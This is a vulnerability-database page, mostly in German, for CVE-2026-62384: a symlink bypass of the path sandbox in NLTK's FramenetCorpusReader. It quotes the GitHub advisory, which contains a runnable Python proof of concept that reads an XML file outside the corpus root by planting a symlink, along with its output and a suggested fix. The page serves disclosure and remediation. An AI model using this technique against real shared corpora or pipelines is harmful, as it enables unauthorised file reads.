CVE-2026-62384
highPriorität · verfolgen · 30EPSS 0.007 · 51. PerzentilUSEPSS · bewertet 2026-10-28
NLTK versions before 3.10.2 contain a symlink-based sandbox bypass in FramenetCorpusReader that allows attackers to read arbitrary XML files outside the corpus root. Attackers can place symlinks with names containing no path separators inside the corpus subdirectory, which pass the path validation guard and are resolved to files outside the intended corpus root when accessed via frame_by_name(), _lu_file(), or doc() methods.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · medium–high · 6.6–8.7
SSVC
Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (2)
Betroffene Produkte und Versionsbereiche.
Advisories (2)
Hersteller- und Ökosystem-Meldungen dazu.
- GHSA-f833-7jw8-xwrvNLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)2026-09-08ghsa · osvUS
This is a **new, distinct vulnerability**: a bypass of the fix already published as [GHSA-xh95-f55m-82fw](https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw) ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it. ## Summary The original advisory was fixed (PR [#3581](https://github.com/nltk/nltk/pull/3581)) by adding `_reject_unsafe_path_component()`, which blocks literal `/`, `\`, `..`, and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through `self.abspath()` (`nltk/corpus/reader/api.py`, `self._root.join(fileid)`), which is a plain lexical join, not the symlink-resolving, `required_root`-scoped check that `CorpusReader.open()` (and `NKJPCorpusReader`'s own fix for its sibling advisory) correctly use elsewhere in this same codebase. A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root. ## Affected code (`nltk/corpus/reader/framenet.py`) - `frame_by_name()` reads `<frame_dir>/<name>.xml` - `_lu_file()` reads `<lu_dir>/lu<id>.xml` - `doc()` reads `<fulltext_dir>/<filename>` All three follow the same chain: `_reject_unsafe_path_component(value, ...)`, then `self.abspath(os.path.join(subdir, value))`, then `XMLCorpusView(...)`, opened via `PathPointer.open()` with no `required_root`. ## Proof of concept Self-contained, runnable end to end. ```python import os import tempfile from nltk.corpus.reader.framenet import FramenetCorpusReader root = tempfile.mkdtemp() corpus_root = os.path.join(root, "framenet_v17") frame_dir = os.path.join(corpus_root, "frame") secret_dir = os.path.join(root, "outside_framenet_root") os.makedirs(frame_dir) os.makedirs(secret_dir) with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f: f.write("<frameRelations/>") secret_path = os.path.join(secret_dir, "stolen.xml") with open(secret_path, "w") as f: f.write( '<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">' "<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>" "</frame>" ) # Attacker plants this inside <corpus_root>/frame/. No path separators, # so it passes _reject_unsafe_path_component cleanly. link_path = os.path.join(frame_dir, "evil_link.xml") os.symlink(secret_path, link_path) reader = FramenetCorpusReader(corpus_root, []) reader._frame_idx = {"__dummy__": {"name": "__dummy__"}} # skip unrelated index build result = reader.frame_by_name("evil_link") # normal, routine call, no ".." anywhere print("frame name:", result["name"]) print("definition:", result["definition"]) ``` Actual output when run against unpatched `main` (commit `35813c8`): ``` frame name: StolenFrame definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT ``` That content was read from `secret_path`, a file entirely outside `corpus_root`, via a single, unmodified, public API call. No exception is raised anywhere in the chain; `_reject_unsafe_path_component` passes because `"evil_link"` contains no separators, `..`, or drive prefix. Verified the same way for the other two affected call sites, `_lu_file()` (`lu<id>.xml` symlink under `lu/`) and `doc()` (arbitrary filename symlink under `fulltext/`), both succeeding identically with no exception raised. ## Why this is in scope - No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own `SECURITY.md` names "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call. - Core corpus-reader code, not a demo/GUI tool. - Confirmed unintentional: PR #3581's own description states the goal was to route through "the `nltk.pathsec` sandbox... including the strict `ENFORCE=True` mode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, since `abspath()` never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (`NKJPCorpusReader`). ## Suggested fix Route all three call sites through `CorpusReader.open()` (or pass `required_root=self._root` to `validate_path()` directly, as `NKJPCorpusReader` already does), instead of `self.abspath()` plus raw `PathPointer.open()`.
- PYSEC-2026-37892026-08-22vendor · osvUS
NLTK versions before 3.10.2 contain a symlink-based sandbox bypass in FramenetCorpusReader that allows attackers to read arbitrary XML files outside the corpus root. Attackers can place symlinks with names containing no path separators inside the corpus subdirectory, which pass the path validation guard and are resolved to files outside the intended corpus root when accessed via frame_by_name(), _lu_file(), or doc() methods.
auch bekannt als (2)
Weitere Namen und Kennungen dieser Entität.
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (2) nvd
Externe Belege — Patches, Meldungen, Analysen.
- https://github.com/nltk/nltk/security/advisories/GHSA-f833-7jw8-xwrvExploitVendor Advisory
- https://www.vulncheck.com/advisories/nltk-framenetcorpusreader-symlink-sandbox-bypass-beforeThird Party Advisory
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan